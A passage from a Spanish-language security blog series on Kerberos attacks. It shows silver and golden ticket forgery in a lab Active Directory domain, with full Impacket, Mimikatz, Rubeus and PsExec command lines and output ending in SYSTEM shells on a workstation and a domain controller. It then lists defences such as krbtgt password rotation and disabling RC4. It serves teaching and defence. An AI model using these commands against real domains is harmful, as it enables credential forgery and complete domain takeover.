Desde Linux

Como viene siendo habitual en este artículo, se puede ejecutar este ataque desde Linux utilizando los ejemplos que se encuentran en Impacket. En este caso ticketer.py se usa para forjar un TGS:

root@kali:impacket-examples# python ticketer.py -nthash b18b4b218eccad1c223306ea1916885f -domain-sid S-1-5-21-1339291983-1349129144-367733775 -domain jurassic.park -spn cifs/labwws02.jurassic.park  stegosaurus
Impacket v0.9.18 - Copyright 2018 SecureAuth Corporation

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for jurassic.park/stegosaurus
[*] 	PAC_LOGON_INFO
[*] 	PAC_CLIENT_INFO_TYPE
[*] 	EncTicketPart
[*] 	EncTGSRepPart
[*] Signing/Encrypting final ticket
[*] 	PAC_SERVER_CHECKSUM
[*] 	PAC_PRIVSVR_CHECKSUM
[*] 	EncTicketPart
[*] 	EncTGSRepPart
[*] Saving ticket in stegosaurus.ccache
root@kali:impacket-examples# export KRB5CCNAME=/root/impacket-examples/stegosaurus.ccache 
root@kali:impacket-examples# python psexec.py jurassic.park/stegosaurus@labwws02.jurassic.park -k -no-pass
Impacket v0.9.18 - Copyright 2018 SecureAuth Corporation

[*] Requesting shares on labwws02.jurassic.park.....
[*] Found writable share ADMIN$
[*] Uploading file JhRQHMnu.exe
[*] Opening SVCManager on labwws02.jurassic.park.....
[*] Creating service Drvl on labwws02.jurassic.park.....
[*] Starting service Drvl.....
[!] Press help for extra shell commands
Microsoft Windows [Versión 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:Windowssystem32>whoami
nt authoritysystem

C:Windowssystem32>

La ejecución es parecida a la técnica PTT, salvo que en este caso el ticket se crea manualmente. Una vez creado, se indica la ruta del ticket en la variable de entorno KRB5CCNAME y se especican los parámetros -no-pass -k en cualquier ejemplo de Impacket para utilizar el TGS.

Desde Windows

En Windows, se puede usar Mimikatz para forjar el ticket. A continuación, en este caso el ticket es inyectado con Rubeus, y una shell remota es obtenida mediante PsExec. Se debe tener en cuenta que los tickets se pueden construir en una máquina local, fuera de la red objetivo, y luego de esto enviarse a la máquina deseada para inyectarlos. Se muestra debajo un ejemplo:

C:Userstriceratops>.mimikatz.exe

  .#####.   mimikatz 2.1.1 (x64) built on Mar 18 2018 00:21:25
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## /  ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ##  / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com   ***/

mimikatz # kerberos::golden /domain:jurassic.park /sid:S-1-5-21-1339291983-1349129144-367733775 /rc4:b18b4b218eccad1c223306ea1916885f /user:stegosaurus /service:cifs /target:labwws02.jurassic.park
User      : stegosaurus
Domain    : jurassic.park (JURASSIC)
SID       : S-1-5-21-1339291983-1349129144-367733775
User Id   : 500
Groups Id : *513 512 520 518 519
ServiceKey: b18b4b218eccad1c223306ea1916885f - rc4_hmac_nt
Service   : cifs
Target    : labwws02.jurassic.park
Lifetime  : 28/02/2019 13:42:05 ; 25/02/2029 13:42:05 ; 25/02/2029 13:42:05
-> Ticket : ticket.kirbi

 * PAC generated
 * PAC signed
 * EncTicketPart generated
 * EncTicketPart encrypted
 * KrbCred generated

Final Ticket Saved to file !

mimikatz # exit
Bye!
C:Userstriceratops>.Rubeus.exe ptt /ticket:ticket.kirbi

   ______        _
  (_____       | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ | ___ | | | |/___)
  | |   | |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.3.3


[*] Action: Import Ticket
[+] Ticket successfully imported!

C:Userstriceratops>.PsExec.exe -accepteula labwws02.jurassic.park cmd

PsExec v2.2 - Execute processes remotely
Copyright (C) 2001-2016 Mark Russinovich
Sysinternals - www.sysinternals.com


Microsoft Windows [Versión 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:Windowssystem32>whoami
jurassicstegosaurus

C:Windowssystem32>

Por otra parte, el módulo kerberos::ptt de Mimikatz se puede usar también para inyectar el ticket en lugar de utilizar Rubeus, como se muestra en la sección del ataque PTT.

Golden ticket

El Golden ticket es similar al Silver ticket. No obstante, en este caso se construye un TGT utilizando el hash NTLM de la cuenta krbtgt del dominio. La ventaja de utilizar un TGT sobre un TGS, es que permite acceder a cualquier servicio del dominio.

Se puede obtener el hash NTLM de la cuenta krbtgt del proceso lsass o del fichero NTDS.dit de cualquier DC del dominio. Otro modo de proceder para obtener este hash es llevar a cabo la técnica DCsync, para lo que se puede utilizar el módulo lsadump::dcsync de Mimikatz o el script secretsdump.py de Impacket. Normalmente, para este tipo de procedimientos, se requieren privilegios de administrador del dominio o similares.

Desde Linux

La forma de forjar un Golden ticket es parecida a la de un Silver ticket. La principal diferencia reside en que, no se debe especificar un SPN de servicio en el script ticketer.py y se debe utilizar el hash NTLM de krbtgt:

root@kali:impacket-examples# python ticketer.py -nthash 25b2076cda3bfd6209161a6c78a69c1c -domain-sid S-1-5-21-1339291983-1349129144-367733775 -domain jurassic.park stegosaurus
Impacket v0.9.18 - Copyright 2018 SecureAuth Corporation

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for jurassic.park/stegosaurus
[*] 	PAC_LOGON_INFO
[*] 	PAC_CLIENT_INFO_TYPE
[*] 	EncTicketPart
[*] 	EncAsRepPart
[*] Signing/Encrypting final ticket
[*] 	PAC_SERVER_CHECKSUM
[*] 	PAC_PRIVSVR_CHECKSUM
[*] 	EncTicketPart
[*] 	EncASRepPart
[*] Saving ticket in stegosaurus.ccache
root@kali:impacket-examples# export KRB5CCNAME=/root/impacket-examples/stegosaurus.ccache
root@kali:impacket-examples# python psexec.py jurassic.park/stegosaurus@lab-wdc02.jurassic.park -k -no-pass
Impacket v0.9.18 - Copyright 2018 SecureAuth Corporation

[*] Requesting shares on lab-wdc02.jurassic.park.....
[*] Found writable share ADMIN$
[*] Uploading file goPntOCB.exe
[*] Opening SVCManager on lab-wdc02.jurassic.park.....
[*] Creating service DMmI on lab-wdc02.jurassic.park.....
[*] Starting service DMmI.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:Windowssystem32>whoami
nt authoritysystem

C:Windowssystem32>

El resultado es similar al del Silver ticket, pero en este caso el servidor comprometido es un DC, y podría ser cualquier máquina del dominio.

Desde Windows

Como en la técnica del Silver ticket, se pueden utilizar Mimikatz, Rubeus y PsExec para llevar a cabo el ataque:

C:Userstriceratops>.mimikatz.exe

  .#####.   mimikatz 2.1.1 (x64) built on Mar 18 2018 00:21:25
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## /  ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ##  / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com   ***/

mimikatz # kerberos::golden /domain:jurassic.park /sid:S-1-5-21-1339291983-1349129144-367733775 /rc4:25b2076cda3bfd6209161a6c78a69c1c /user:stegosaurus
User      : stegosaurus
Domain    : jurassic.park (JURASSIC)
SID       : S-1-5-21-1339291983-1349129144-367733775
User Id   : 500
Groups Id : *513 512 520 518 519
ServiceKey: 25b2076cda3bfd6209161a6c78a69c1c - rc4_hmac_nt
Lifetime  : 28/02/2019 10:58:03 ; 25/02/2029 10:58:03 ; 25/02/2029 10:58:03
-> Ticket : ticket.kirbi

 * PAC generated
 * PAC signed
 * EncTicketPart generated
 * EncTicketPart encrypted
 * KrbCred generated

Final Ticket Saved to file !

mimikatz # exit
Bye!
C:Userstriceratops>.Rubeus.exe ptt /ticket:ticket.kirbi

   ______        _
  (_____       | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ | ___ | | | |/___)
  | |   | |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.3.3


[*] Action: Import Ticket
[+] Ticket successfully imported!

C:Userstriceratops>klist

Current LogonId is 0:0x50ca688

Cached Tickets: (1)

#0>     Client: stegosaurus @ jurassic.park
        Server: krbtgt/jurassic.park @ jurassic.park
        KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
        Ticket Flags 0x40e00000 -> forwardable renewable initial pre_authent
        Start Time: 2/28/2019 11:36:55 (local)
        End Time:   2/25/2029 11:36:55 (local)
        Renew Time: 2/25/2029 11:36:55 (local)
        Session Key Type: RSADSI RC4-HMAC(NT)
        Cache Flags: 0x1 -> PRIMARY
        Kdc Called:

C:Userstriceratops>.PsExec.exe -accepteula lab-wdc02.jurassic.park cmd

PsExec v2.2 - Execute processes remotely
Copyright (C) 2001-2016 Mark Russinovich
Sysinternals - www.sysinternals.com


Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:Windowssystem32>whoami
jurassicstegosaurus

C:Windowssystem32>

Mientras me hallaba realizando esta técnica, me percaté de que a veces el ticket no funcionaba. Me estaba preguntando a que se debía esto, cuando recordé un post que trataba sobre una regla de 20 minutos que se sigue para validar el PAC de los tickets en el DC. Entonces caí en la cuenta de que entre la creación y inyección de los tickets había pasado media hora, debido a que estaba realizando otras tareas. Por lo tanto, se debe recordar que los tickets se tienen que usar tras crearlos.

Mitigaciones de ataques kerberos

Se pueden implementar una serie de políticas para prevenir o mitigar el efecto de estos ataques sobre Kerberos. A continuación se citan algunos ejemplos:

  • Habilitar una política fuerte de contraseñas: El primer paso es evitar tener credenciales en las cuentas de los usuarios del dominio. Para lograr esto se debe implementar una política para asegurar contraseñas fuertes, habilitando la opción de contraseñas complejas en el dominio de Active Directory. Adicionalmente, restringir algunos términos que puedan ser predecibles, como años, meses o el nombre de la compañía.
  • Evitar el uso de cuentas sin pre-autenticación: En caso de no ser necesario, no debería haber cuentas en el dominio con la pre-autenticación de Kerberos deshabilitada. En otro caso, se debe tener especial cuidado con estas cuentas y generarles contraseñas pseudo-aleatorias con un gran nivel de complejidad.
  • Evitar la ejecución de servicios en el contexto de cuentas de usuario: En caso de que se tengan cuentas para ejecutar servicios, generar contraseñas pseudo-aleatorias para ellas.
  • Cambiar las contraseñas de manera periódica: Habilitar políticas para asegurarse de que las contraseñas son modificadas, por ejemplo, cada 2 o 4 meses. Existe un caso especial, la cuenta krbtgt, cuya contraseña también debe ser cambiada cada cierto tiempo. Para esto se puede utilizar el script que se encuentra en https://github.com/microsoft/New-KrbtgtKeys.ps1. Se debe tener en cuenta que la contraseña de krbtgt debe ser cambiada 2 veces, para invalidar los tickets actuales en el dominio, debido a temas de cache. También debe saberse que el nivel funcional del dominio debe ser Windows 2008 o superior para poder manipular las credenciales de la cuenta krbtgt.
  • Deshabilitar los algoritmos de cifrado débiles de Kerberos: Solo se deberían permitir cifrado con AES. Adicionalmente, las peticiones de Kerberos solamente con algoritmos de cifrado débiles deben ser monitorizadas, ya que suelen ser las realizadas por las herramientas de ataque.

Para mayor información, se puede consultar la guía de Microsoft en https://www.microsoft.com/en-us/download/details.aspx?id=36036 que detalla más formas de mitigación y prevención de este tipo de ataques.

Conclusión

Como se ha visto, Kerberos cuenta con una gran superficie de ataque. Por consiguiente, es necesario ser consciente de estas técnicas con el objeto de establecer una serie de políticas de seguridad que permitan evitarlas y mitigarlas.

Sin embargo, todavía se ha llegado al final. Hasta el momento, solo se han mostrado ataques directos, pero existe una característica de Kerberos que permite ampliar estas posibilidades: Delegación.

Por lo tanto, en el siguiente artículo de esta serie se tratará de explicar como funciona esta característica y como puede ser usada para comprometer cuentas del dominio.

Referencias

Descubre nuestro trabajo y nuestros servicios de ciberseguridad en www.tarlogic.com/es/

Más artículos de la serie Kerberos

Este artículo forma parte de una serie de articulos sobre Kerberos

  1. Kerberos (I): ¿Cómo funciona Kerberos? – Teoría
  2. Kerberos (II): ¿Como atacar Kerberos?
  3. Kerberos (III): ¿Cómo funciona la delegación?